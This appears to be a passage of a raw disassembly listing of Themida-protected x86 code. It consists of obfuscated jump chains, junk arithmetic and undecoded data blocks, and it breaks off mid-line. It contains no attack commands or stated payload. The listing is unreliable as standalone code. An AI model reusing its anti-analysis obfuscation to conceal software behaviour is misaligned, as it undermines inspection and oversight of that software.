pop esi add edi, ebx sub edi, 55C963CCh pop ebx jmp loc_546AA7 ; --------------------------------------------------------------------------- dd 0A2E9E700h, 8BFFFFD2h, 0C4812434h, 4, 0EA81C201h, 65C522D7h dd 0E92434FFh, 743Bh ; --------------------------------------------------------------------------- loc_5489D4: ; CODE XREF: Themida_:0054B705j pop ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_54C4CD ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 0E904ED83h, 3BAEh ; --------------------------------------------------------------------------- loc_5489F8: ; CODE XREF: Themida_:0054B72Bj push ebp mov ebp, 10313043h add ebp, 0A2B830DEh add ebx, ebp pop ebp or edx, ebx pop ebx dec edx jmp loc_54F90E ; --------------------------------------------------------------------------- dd 2404875Fh, 0E952665Ch, 7A93h, 83D6002Dh, 0E9C20186h dd 4029h ; --------------------------------------------------------------------------- loc_548A28: ; CODE XREF: Themida_:005462C4j mov [esp], ecx mov ecx, 2734197Ah jmp loc_54F88E ; --------------------------------------------------------------------------- loc_548A35: ; CODE XREF: Themida_:00547D7Cj mov [esp], edx mov edx, esp jmp loc_5473A8 ; --------------------------------------------------------------------------- db 83h dd 0B85004C4h, 4, 8358C601h, 348704C6h, 48F5C24h, 21665C24h dd 0E99C2404h, 695Fh ; --------------------------------------------------------------------------- loc_548A60: ; CODE XREF: Themida_:0054FF30j pop esp jmp loc_548B28 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 5068E9h db 0 ; --------------------------------------------------------------------------- loc_548A71: ; CODE XREF: Themida_:0054E3E5j add esp, 4 add edx, ebp pop ebp jmp loc_54CDDF ; --------------------------------------------------------------------------- db 52h dd 0B5686655h, 0C8EFE957h, 0C483FFFFh, 66BA5204h, 53450C27h dd 0E15101BBh, 0EBC14367h, 6649E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548AA2: ; CODE XREF: Themida_:005484B1j xchg edx, edi not edx xchg edx, edi sub edi, 0AB975EDh sub edi, 0E08D23E2h push ebx mov ebx, edi mov ecx, ebx pop ebx jmp loc_551123 ; --------------------------------------------------------------------------- db 55h dd 0C5815D54h, 4, 0FA20E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548ACE: ; CODE XREF: Themida_:0054B4C3j sub edx, 2A0C7798h mov esi, edx jmp loc_54BD8E ; --------------------------------------------------------------------------- aNBu_SZ db '-u_$é)‡',0 ; DATA XREF: Themida_:005443D4o align 2 dw 0E95Dh dd 399h ; --------------------------------------------------------------------------- loc_548AEC: ; CODE XREF: Themida_:0054C02Ej pop esp mov [esp], esi push 30Eh mov [esp], edx jmp loc_54ECDF ; --------------------------------------------------------------------------- loc_548AFD: ; CODE XREF: Themida_:0054E1CBj mov [edx+38h], esi push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_545DAF ; --------------------------------------------------------------------------- dw 0DBAh dd 0E92A3008h, 0FFFFF169h ; --------------------------------------------------------------------------- loc_548B28: ; CODE XREF: Themida_:00548A61j mov [esp], ebp push 7C4932FEh pop ebp dec ebp jmp loc_54F994 ; --------------------------------------------------------------------------- db 31h dd 0E9C15EF1h, 2D326808h, 0CDE90000h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B47: ; CODE XREF: Themida_:0054E694j mov eax, 2A3B388Eh neg eax sub eax, 0D5C4C76Eh push ebx mov ebx, 71DC2FB5h add esi, ebx pop ebx sub esi, eax sub esi, 71DC2FB5h jmp loc_54BCAD ; --------------------------------------------------------------------------- loc_548B69: ; CODE XREF: Themida_:0054C3F5j inc edi xor edi, 2B37287Ch add eax, edi mov edi, [esp] push ebp mov ebp, esp jmp loc_5482E4 ; --------------------------------------------------------------------------- loc_548B7D: ; CODE XREF: Themida_:0054589Bj xor esi, [esp] pop esp push ebx push ebp jmp loc_54D2F0 ; --------------------------------------------------------------------------- dd 88E9D601h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548B8F: ; CODE XREF: Themida_:00548BD5j sub ecx, 0AA091575h jmp loc_54E287 ; --------------------------------------------------------------------------- loc_548B9A: ; CODE XREF: Themida_:00546E53j mov edi, 1E0A6637h add edi, 14870083h jmp loc_548C83 ; --------------------------------------------------------------------------- dw 0C781h dd 62F83AAAh, 8324348Bh, 0EF8104C4h, 4, 31243C33h, 3C33243Ch dd 0C895C24h, 1CC0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548BCE: ; CODE XREF: Themida_:0054C87Cj pop esi sub ecx, 7F4D41BEh jmp loc_548B8F ; --------------------------------------------------------------------------- dw 0D2F7h dd offset dword_450050+36D99h dd 15EB8000h, 0D828F22Ch, 1C8BF204h, 4C48124h, 66000000h dd 2C5EB551h, 28482C58h, 44804E8h, 0C8B6658h, 0D56AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C0A: ; CODE XREF: Themida_:00546E59j sub esp, 4 mov [esp], esi jmp loc_550CA7 ; --------------------------------------------------------------------------- loc_548C15: ; CODE XREF: Themida_:0054DC94j pop esp mov [esp], ecx mov ecx, 24h jmp loc_54721B ; --------------------------------------------------------------------------- db 0F6h dd 5EAC0D2h, 51DDE9h, 0CC684D00h, 89000009h, 0D0BF243Ch dd 311B2813h, 80055FFDh, 0E94EA14Ah, 6886h dword_548C48 dd 58E9028Fh, 81FFFFBAh, 4C7h, 1C55E900h ; DATA XREF: Themida_:00544544o db 2 dup(0) word_548C5A dw 0C8Bh ; DATA XREF: Themida_:00544648o aSr db '$ér{',0 align 2 dw 4604h dd 0FFC5B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_548C69: ; CODE XREF: Themida_:00549342j pop ebp add ebp, ecx mov ecx, [esp] jmp loc_54EBDE ; --------------------------------------------------------------------------- dd 15FFA89h, 4875AD0h, 24E95C24h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C83: ; CODE XREF: Themida_:00548BA5j and eax, edi pop edi jmp loc_54FF89 ; --------------------------------------------------------------------------- loc_548C8B: ; CODE XREF: Themida_:0054B40Dj push ebx mov ebx, 4 add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_5446A7 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 48B6624h, 4B616824h, 4890000h, 0C062E924h dd 0EC81FFFFh, 4, 0BF243C89h, 39C0231Ch, 8904EC83h, 71E9243Ch db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548CD3: ; CODE XREF: Themida_:0054D309j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 1224h mov [esp], ebx push 24h pop ebx push edi push 2565h mov [esp], edx push esi push 57C83F12h pop esi add esi, 7CE31A5Dh sub esi, 615625Fh add esi, 0A6942A9Bh mov edx, esi mov esi, [esp] jmp loc_54D1BE ; --------------------------------------------------------------------------- dw 2BDh dd 1000000h, 4335DE8h, 24043124h, 5C240433h, 240CFF66h dd 0B971E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D36: ; CODE XREF: Themida_:0054C405j shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax push ebp pop eax mov ebp, [esp] sub esp, 4 jmp loc_54ED7F ; --------------------------------------------------------------------------- db 52h, 0BAh, 1Fh dd 1DB432Bh, 0FB295AD7h, 0A5EB815Fh, 1183B12h, 685751C3h dd 415D513Bh, 19A0E9h, 42ED8100h, 5B6AC12Ah, 5762B850h dd 0BF575BECh, 45B709C1h, 6EBDCF81h, 0F7817067h, 1E3B1F03h dd 8BE9F831h, 3300004Ch, 895C241Ch, 6855240Ch, 3CD81C7Ch dd 6ED815Dh, 814F7F59h, 28A6CAF5h, 388EE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548DB6: ; CODE XREF: Themida_:0054E1D7j inc dl sub dl, 0D1h sub ch, 7Bh add ch, dl add ch, 7Bh jmp loc_54CD08 ; --------------------------------------------------------------------------- dd 66C0B60Fh, 5224148Bh, 8953E289h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 2434895Ch, 6CBCBD55h, 55527C4Eh, 13243481h dd 5A764278h, 7813F281h, 0D6897642h, 3F39E9h, 0BEE95B00h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E0B: ; CODE XREF: Themida_:0054D2FDj pop ebx jmp loc_548816 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 201F6850h, 24890000h, 68E8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E22: ; CODE XREF: Themida_:00550855j and esi, 12480A2Ah xor esi, 6E15219Ah jmp loc_5446E1 ; --------------------------------------------------------------------------- db 81h dd 3F1413F5h, 8BEF0148h, 0C483242Ch, 2C78304h, 0FFEF2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_548E49: ; CODE XREF: Themida_:0054FCC8j add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_547E88 ; --------------------------------------------------------------------------- db 81h dd 4694ECEBh, 8BD9016Eh, 0C481241Ch, 4, 5BAF68h, 240C8900h dd 42474FFh, 24048F59h, 288645Ch, 0FFB822E9h, 0B81DE9FFh dd 0E9C1FFFFh, 4C18107h, 89FE456Ah, 0C30159CBh, 0B850h dd 0D8010000h, 0FF580889h, 34FF2434h, 0A1E95B24h, 81000019h dd 4C6h, 792DE900h, 0D2F70000h, 4247CA81h, 0F2817327h dd 2FB4C19h, 6AA9E9h db 0 ; --------------------------------------------------------------------------- loc_548ECD: ; CODE XREF: Themida_:0054D4D0j mov esi, 4E213DA3h jmp loc_546BAB ; --------------------------------------------------------------------------- loc_548ED7: ; CODE XREF: Themida_:00549924j mov ebp, 44882327h jmp loc_54F823 ; --------------------------------------------------------------------------- loc_548EE1: ; CODE XREF: Themida_:00545BA6j push 1F6Dh mov [esp], ebx mov ebx, 1Ch push 4CE8h mov [esp], ebp mov ebp, 7CD66D13h jmp loc_550862 ; --------------------------------------------------------------------------- aWMj?gsW db 'W¿^m¦?GéÇW',0 align 4 loc_548F0C: ; CODE XREF: Themida_:0054A35Ej add ebx, 4 xchg ebx, [esp] pop esp jmp loc_550FD0 ; --------------------------------------------------------------------------- dd 83240C8Bh, 895104C4h, 4C181E1h, 81000000h, 4C1h, 49516800h dd 0C890000h, 2474FF24h, 2434FF04h, 44E95259h, 0E9000051h dd 0FFFFB75Fh ; --------------------------------------------------------------------------- loc_548F48: ; CODE XREF: Themida_:00549C77j add eax, 4 jmp loc_5457A0 ; --------------------------------------------------------------------------- loc_548F52: ; CODE XREF: Themida_:005468B9j mov eax, [esp] jmp loc_548802 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 60BF5753h, 0E9676470h, 0FFFFD7EAh, 48BB5345h, 0E97DF035h dd 0FFFFE0DCh ; --------------------------------------------------------------------------- loc_548F78: ; CODE XREF: Themida_:00547ADBj push esi mov esi, 436101F6h or esi, 35DE6B8Ah xor esi, 195F1573h inc esi jmp loc_549CC9 ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFB70Fh ; --------------------------------------------------------------------------- loc_548F98: ; CODE XREF: Themida_:0054D8FAj pop eax pop edi jmp loc_54697F ; --------------------------------------------------------------------------- db 89h dd 0D96DE9E2h, 1C87FFFFh, 0D88E924h, 8F590000h, 248B2404h dd 19732D24h, 0EA811728h, 51C00951h, 558FEA81h, 7BE9050Fh db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548FCB: ; CODE XREF: Themida_:0054D18Fj xchg ebx, ecx xor ebx, eax xor eax, ebx xor ebx, eax not eax xchg eax, ebx xchg ebx, ecx shr ecx, 2 add ecx, 0E110DE32h and eax, ecx jmp loc_54C96C ; --------------------------------------------------------------------------- dd 4BBh, 56F52D00h, 0D801292Dh, 2D56F505h, 0E8685B29h dd 0E900001Dh, 6B29h, 0FFB69EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549009: ; CODE XREF: Themida_:0054CE65j mov edi, [esp] add esp, 4 push esi mov esi, 4 add edi, esi jmp loc_54C1A9 ; --------------------------------------------------------------------------- db 5Ah dd 1E0EE953h, 0EE310000h, 4B2FE9h, 81D1F700h, 4ECh, 0B7BCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54903A: ; CODE XREF: Themida_:0054EDB5j mov edi, 2E7054C5h xor edi, 4E6F15B9h jmp loc_54F72C ; --------------------------------------------------------------------------- dw 0FD28h dd 5B2434FFh, 0B704C483h, 8BEF28F5h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 628048BFh jmp loc_54E472 ; --------------------------------------------------------------------------- dw 248Bh dd 0C8856624h, 0B62DE99Ch, 4BEFFFFh, 0E9000000h, 0FFFFD668h ; --------------------------------------------------------------------------- loc_549084: ; CODE XREF: Themida_:0054A285j mov ebx, 5E2D0360h mov esi, 69F27E43h jmp loc_548980 ; --------------------------------------------------------------------------- loc_549093: ; CODE XREF: Themida_:00550134j add esp, 4 push ebx jmp loc_54F05D ; --------------------------------------------------------------------------- db 68h dd 3AEB34A5h, 6851525Fh, 6E393CD7h, 0E9814959h, 1C0E18B8h dd 0E959CA89h, 4F81h, 7260566h, 66D80166h, 0E907262Dh dd 1A0Dh, 42474FFh, 24048F5Dh, 0FFEE62E9h, 148B66FFh, 2C48324h dd 0FFDDCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5490E5: ; CODE XREF: Themida_:0054F16Aj push ebp push 4 jmp loc_54C223 ; --------------------------------------------------------------------------- dd 1C8BDE29h, 4C48124h, 0C1000000h, 47E906EEh, 81000070h dd 4C4h, 2BA5200h, 1000000h, 39E95AD0h, 5DFFFFBDh, 8324348Bh dd 0E80104C4h, 0FFE37BE9h, 24048FFFh, 4BB53h, 5C010000h dd 34FF0424h, 5FE95B24h, 59FFFFBDh, 0FFBB44E9h db 0FFh ; --------------------------------------------------------------------------- loc_549141: ; CODE XREF: Themida_:0054EF96j push edi mov edi, 28872B25h shl edi, 3 or edi, 5424712Eh and edi, 19825945h jmp loc_54C25B ; --------------------------------------------------------------------------- loc_54915B: ; CODE XREF: Themida_:00548318j push dword ptr [esp] jmp loc_54A110 ; --------------------------------------------------------------------------- db 1 dd 7EBE56F2h, 29761F06h, 0E95E5EF2h, 4297h, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 4C38300h, 2474FF53h, 48F5B04h, 0EB815C24h dd 5C10159Ah, 4EDFE9h, 0EF814F00h, 55325B28h, 3788CF81h dd 0F1E97C82h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5491AF: ; CODE XREF: Themida_:00549889j push esi mov esi, 348320Ch push ecx mov ecx, 3C15524Dh xor ecx, 4F7B75A0h jmp loc_544B56 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 7A016853h, 0E95B35C2h, 0D32h, 0E9C6015Dh dd 33AEh, 0B753D6F6h, 0E0CF8061h, 19D2E9h, 24048B00h, 4C481h dd 0EA810000h, 63A67331h, 0BD55C201h, 7B0453CAh, 1CF3E9h db 0 byte_549209 db 56h, 0BEh, 93h ; DATA XREF: Themida_:00544658o dd 0F723C217h, 7CCE81D6h, 811B377Eh, 0BF579AF6h, 4D12687Bh dd 3C890000h, 4DFAE924h, 895C0000h, 74FF2434h, 348B0424h dd 4C48124h, 8F000000h, 248B2404h, 66F1F624h, 68CCB60Fh dd 0C2Bh, 0E9242C89h, 19B9h ; --------------------------------------------------------------------------- loc_549254: ; CODE XREF: Themida_:0054D1F8j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 push 4101h mov [esp], edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] pop esp push ebx push ebp push ebx mov ebx, 74510F8Ah mov ebp, ebx pop ebx and ebp, 5A4E6A52h sub ebp, 757032B9h sub ebp, 12D85DA3h add ebp, 26DF411Dh shr ebp, 6 push esi mov esi, 2952331Fh not esi jmp loc_546997 ; --------------------------------------------------------------------------- db 5Eh dd 8B24048Fh, 0DFE92424h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5492B3: ; CODE XREF: Themida_:0054C4E8j mov ecx, 2E795427h jmp loc_54EB2D ; --------------------------------------------------------------------------- byte_5492BD db 0FFh, 77h, 40h ; DATA XREF: Themida_:005443D0o dd 0FFE902E9h, 0DCE9C3FFh, 0B8FFFFB3h, 1, 0FF1C4709h, 53582434h dd 0BA52E389h, 4, 34FFD301h, 268CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5492EA: ; CODE XREF: Themida_:005466CFj mov [esp], ebp mov ebp, 200000h mov edx, ebp pop ebp and eax, edx mov edx, [esp] push edx mov edx, esp push ebp jmp loc_546839 ; --------------------------------------------------------------------------- loc_549303: ; CODE XREF: Themida_:0054E5EDj shl edx, 7 push ebx mov ebx, 31623D20h xor edx, ebx pop ebx mov eax, edx mov edx, [esp] jmp loc_54A355 ; --------------------------------------------------------------------------- db 29h, 0C1h, 58h dd 0C8BCA01h, 4C48324h, 5C241487h, 0E9E78957h, 3FFDh, 4C781h dd 3C870000h, 0E95D5C24h, 56C4h ; --------------------------------------------------------------------------- loc_549340: ; CODE XREF: Themida_:0054BD61j mov ecx, ebp jmp loc_548C69 ; --------------------------------------------------------------------------- db 5Eh dd 0FD45302Dh, 4D8F2D31h, 0F0016B19h, 194D8F05h, 23BA526Bh dd 0E951E016h, 0FFFFFB56h, 982F85BFh, 6D00E926h, 52660000h dd 0BDE969B6h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549377: ; CODE XREF: Themida_:00544B51j add esp, 4 shr eax, 8 xor eax, ecx jmp loc_5474FE ; --------------------------------------------------------------------------- dd 8324148Bh, 976804C4h, 8900001Ah, 0E951241Ch, 0FFFFC089h ; --------------------------------------------------------------------------- loc_549398: ; CODE XREF: Themida_:0054DA00j push 5562h mov [esp], edi mov edi, 462C4624h sub eax, 79141E25h add eax, 3DEF6317h jmp loc_545737 ; --------------------------------------------------------------------------- dd 0EF06E942h, 0F581FFFFh, 24224193h, 5205EDC1h, 5D268EBAh dd 0F7D2F732h, 0CBE957D2h, 21FFFFDBh, 0E1C15AD1h, 0F2F18104h dd 8900DD56h, 542959CAh, 0E95A0424h, 0F2Ch, 0DC707DBFh dd 0E9F82924h, 4EC0h, 4BB5359h, 0E9000000h, 2743h, 0C0FCE580h dd 0ED8004E5h, 59EB2837h, 7FEB80h, 33B268C3h, 14890000h dd 80C1B624h, 536601EEh, 0FE00FFB7h, 241C8B66h, 8002C483h dd 0E9502ECEh, 6D0Ch, 5050E381h, 0F381255Bh, 7D9E445Dh dd 3FD5B850h, 85053E56h, 0E945AF5Bh, 5FEAh, 58C5015Dh dd 4EC8357h, 0B9240C89h, 2, 0FFEEFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_549469: ; CODE XREF: Themida_:0054A5CAj xor bh, 9Ch push eax mov ah, bh mov cl, ah jmp loc_5465FF ; --------------------------------------------------------------------------- dw 0C15Fh dd 54E903E3h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54947F: ; CODE XREF: Themida_:0054E400j xchg edi, [esp] push edi push 7BE4h mov [esp], ecx pop edi mov ecx, [esp] add esp, 4 jmp loc_54499D ; --------------------------------------------------------------------------- loc_54949A: ; CODE XREF: Themida_:00550C62j pop esp push 621Dh mov [esp], ebx sub esp, 4 jmp loc_54C862 ; --------------------------------------------------------------------------- loc_5494AE: ; CODE XREF: Themida_:005508B8j push edi push 868h mov [esp], ecx jmp loc_54D13D ; --------------------------------------------------------------------------- loc_5494BC: ; CODE XREF: Themida_:0054D101j xor edi, edx xchg edi, edx not edi jmp loc_54E3C9 ; --------------------------------------------------------------------------- loc_5494C7: ; CODE XREF: Themida_:0054862Dj pop ebx mov ecx, eax pop eax jmp loc_5498A7 ; --------------------------------------------------------------------------- dd 0ED81C501h, 1F12502Eh, 6D9C581h, 48B7F02h, 4C48324h dd 4B850h, 0C5810000h, 382A2031h, 0ED81C501h, 382A2031h dd 74FF5558h, 8F5D0424h, 815C2404h, 4ECh, 243C8900h, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4832424h, 815F0424h dd 4C7h, 4BB5300h, 81000000h, 0C13D80EFh, 7549E979h, 0F4680000h dd 89000060h, 0F8882404h, 385CE9h db 0 byte_54954D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00544600o dd 14556824h, 3C890000h, 0CAE95424h, 88000063h, 3700E9EFh dd 0CFF0000h, 38E99C24h, 57FFFFB1h, 7D8BE952h db 2 dup(0) word_549576 dw 8B66h ; DATA XREF: Themida_:005445D8o dd 0EC83240Ch, 24348904h, 8904EC83h, 0EC812424h, 4, 0FFC1C1E9h dd 4EC81FFh, 89000000h, 0E6892434h, 0FFF0EEE9h, 685652FFh dd 31FA4147h, 8324348Bh, 0CE8104C4h, 51771FC9h, 559CE81h dd 0B6E97C30h, 0B800005Ch, 75CE7E9Ah, 29CF1DBDh, 58C529EDh dd 0FFEA93E9h db 0FFh ; --------------------------------------------------------------------------- loc_5495D1: ; CODE XREF: Themida_:0054A3F4j xor ebp, 16B9715Bh shl ebp, 7 push edi mov edi, 0E0C1297Ch sub ebp, edi pop edi add esi, ebp pop ebp xchg esi, [esp] pop esp or eax, eax jz loc_5455E4 push dword ptr [edi+1Ch] jmp loc_55048A ; --------------------------------------------------------------------------- word_5495FA dw 83ADh ; DATA XREF: Themida_:005443E0o dd 3C8904ECh, 412EBF24h, 0D7F739E0h, 1C781h, 89510000h dd 4C181E1h, 83000000h, 0C8704E9h, 34895C24h, 7A5ABE24h dd 0EF814504h, 46F14410h, 91E9F729h, 50000005h, 4055854h dd 83000000h, 0EC8304C0h, 24048904h, 0FFC7CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_549649: ; CODE XREF: Themida_:00547003j xchg ebx, [esp] pop esp sub edi, edx pop edx mov esi, edi push dword ptr [esp] pop edi add esp, 4 and eax, esi jmp loc_54D314 ; --------------------------------------------------------------------------- dd 8158C201h, 6C724EC2h, 0E9DA014Ah, 65FFh, 4C181h, 0FF510000h dd 59042474h, 8B24048Fh, 3E92424h, 87000042h, 248B242Ch dd 48B6624h, 0E3895324h, 56EBE56h, 0EE813101h, 37E94A6Ch dd 5AA4E9h, 1AFBE00h, 0E68130F2h, 39CA700Ah, 0B4BE681h dd 0F681388Bh, 5A271C34h, 1FB7F681h, 0B4E93B10h, 83FFFFC2h dd 0C8704E9h, 24248B24h, 81243489h, 4ECh, 3744E900h, 0C6880000h dd 8124048Bh, 4C4h, 88CEFE00h, 0F3805AF3h, 5BD98850h, 0ADC380h dd 0ADEB80CBh, 5AF4E959h, 0C7B90000h, 8704C46Dh, 87DDF7E9h dd 3E1C1E9h, 614FF181h, 0BB537AABh, 9499DB02h, 0E95BD929h dd 10F7h, 6BD4EB81h, 0CB0174F9h, 6BD4C381h, 8B5974F9h dd 0C483240Ch, 2C38304h, 8B241C87h, 8B662424h, 0EC81240Ch dd 4, 0E9242C89h, 6D9Ch ; --------------------------------------------------------------------------- loc_549754: ; CODE XREF: Themida_:00550222j add eax, edi pop edi push ebx sub esp, 4 mov [esp], edx push esi jmp loc_55004F ; --------------------------------------------------------------------------- loc_549767: ; CODE XREF: Themida_:0054A64Bj or edx, esi pop esi inc edx add edx, 0FB82CF1Bh add ebx, edx pop edx push esi mov esi, 795F3CA6h jmp loc_549C45 ; --------------------------------------------------------------------------- loc_54977F: ; CODE XREF: Themida_:0054E841j mov edx, 0DDF4CC0h sub edx, 0A094B3Fh add edx, 514C17E0h xor edx, 8A55E162h add ebp, edx pop edx add edx, ebp pop ebp add edx, 4 jmp loc_547E25 ; --------------------------------------------------------------------------- loc_5497A7: ; CODE XREF: Themida_:0054E4A1j push 7504h mov [esp], edx push edi jmp loc_54A526 ; --------------------------------------------------------------------------- db 30h, 4, 24h dd 0AEE9E99Ch, 0E951FFFFh, 5AC6h, 0DAF7814Fh, 894A9E91h dd 0BB535FFAh, 51EF7D10h, 44C3814Bh, 1C507B6h, 0EC815BDAh dd 4, 0BF243C89h, 61B33B1Fh, 15FFA31h, 0D9BFE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5497F6: ; CODE XREF: Themida_:005458CEj add bl, 90h sub bl, dh sub bl, 90h add bl, 0C3h pop dx jmp loc_549EF6 ; --------------------------------------------------------------------------- dd 0C681EE01h, 332E4676h, 7CEB2D5Dh, 24051203h, 290C5462h dd 62242DF0h, 0EB050C54h, 8B12037Ch, 0C4832434h, 88D6804h dd 14890000h, 2317BA24h, 0D2F703B8h, 0FFFFC281h, 0EAC1FFFFh dd 4EC8104h, 89000000h, 2C832414h, 0E95A0124h, 0FFFFF382h ; --------------------------------------------------------------------------- loc_549858: ; CODE XREF: Themida_:0054E2A8j add edx, ecx mov ecx, [esp] add esp, 4 add edx, edi sub edx, 295E561Bh mov ecx, [edx] mov edx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push ebp jmp loc_5491AF ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0C8BCB01h, 4C48324h, 4222C381h, 0E6E948E5h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5498A7: ; CODE XREF: Themida_:005494CBj neg ecx add ecx, 7F03490Ah jmp loc_54E269 ; --------------------------------------------------------------------------- dd 0E9C8B252h, 0FFFFC1F8h aNsL db 'éÉL',0 ; DATA XREF: Themida_:0054455Co align 2 dw 0C329h dd 4EC81h, 34890000h, 45F9BE24h, 0F301292Eh, 126FE9h, 83BA5200h dd 0E905BA75h, 0FFFFFAEFh ; --------------------------------------------------------------------------- loc_5498E4: ; CODE XREF: Themida_:0054C84Aj sub esp, 4 mov [esp], edx push eax mov eax, 5AF51837h mov edx, eax pop eax xor [esp+4], edx pop edx mov ecx, [esp] add esp, 4 jmp loc_5504EA ; --------------------------------------------------------------------------- db 5, 82h, 4 dd 0E95D0C00h, 3CE0h, 0C581E589h, 4, 2361E9h db 0 ; --------------------------------------------------------------------------- loc_549921: ; CODE XREF: Themida_:00545C8Dj mov [esp], ebp jmp loc_548ED7 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FFB6D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_549931: ; CODE XREF: Themida_:0054712Bj add ebp, 4A334A5Bh add ebp, edx jmp loc_54CAD3 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9242489h, 4F73h, 0E904EDC1h, 3030h, 0E95EF201h dd 0FFFFBCDEh, 89241489h, 7B568C2h, 14890000h, 2434FF24h dd 8324048Bh, 7AE904C4h, 80FFFFD8h, 0E70016F4h, 8BF98858h dd 0C483241Ch, 0FFD13004h, 4FE92434h, 100000Eh, 0EE295AD6h dd 6AF7E9h db 0 byte_549999 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005444C4o dd 4EC835Ah, 0E9243C89h, 5B9h, 2F4E95Ah, 0FE010000h, 8B2434FFh dd 0C481243Ch, 4, 4C481h, 86680000h, 89000017h, 0D2682414h dd 5A229C0Fh, 5198BD55h, 0D5F747B1h, 0E581D5F7h, 3961811h dd 0BF57D5F7h, 1E255F5Fh, 9091C781h, 0FD29DE4Ah, 60EA815Fh dd 8134C936h, 456DE6C2h, 81EA2968h, 456DE6EAh, 60C28168h dd 0FF34C936h, 685D2434h, 6A2Bh, 89243489h, 4C681E6h, 83000000h dd 348704C6h, 0D7E95C24h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_549A2B: ; CODE XREF: Themida_:0054A6F5j mov ebx, [esp] jmp loc_54D186 ; --------------------------------------------------------------------------- byte_549A33 db 66h ; DATA XREF: Themida_:005444F4o dd 0E924048Bh, 0FFFFD8ACh, 55EF001h, 4, 5C240487h, 17C668h dd 24148900h, 67E76851h, 0C15945B9h, 7AE905E9h, 0BEFFFFFEh dd 8E72A76h, 0E95EF209h, 64F5h, 68242C89h, 1EF722D7h, 0F5ACE95Dh dd 28E9FFFFh db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549A7F: ; CODE XREF: Themida_:00549B68j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push 0FFFFFFFFh mov ebp, [esp] add esp, 4 sub [edi+24h], ebp mov ebp, [esp] push edx jmp loc_546A0D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFABF7h ; --------------------------------------------------------------------------- loc_549AB0: ; CODE XREF: Themida_:0054628Ej mov edx, 24h add edx, edi jmp loc_54E0CD ; --------------------------------------------------------------------------- dd 4C48358h, 0FFBF36E9h db 0FFh ; --------------------------------------------------------------------------- loc_549AC5: ; CODE XREF: Themida_:0054E906j mov edx, 66675765h mov edi, edx pop edx jmp loc_54B343 ; --------------------------------------------------------------------------- loc_549AD2: ; CODE XREF: Themida_:0054EA6Aj pop ebx jmp loc_546491 ; --------------------------------------------------------------------------- dd 88240489h, 58C388D0h, 1EE9DC88h, 81FFFFF3h, 4C7h, 4C78100h dd 87000000h, 8F5C243Ch, 0E95C2404h, 2325h, 0FE4FB252h dd 859E9CAh db 2 dup(0) word_549B0A dw 8B66h ; DATA XREF: Themida_:00544624o dd 8168240Ch, 8900000Ch, 0E2892414h, 5C58E955h, 0DD310000h dd 2414F753h, 31DD315Bh, 0E9DD31EBh, 1680h, 2434875Ah dd 0FF24248Bh, 34FF2434h, 2434FF24h, 73E95259h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549B47: ; CODE XREF: Themida_:00546C48j pop eax add bh, 0Bh jmp loc_54CD7C ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 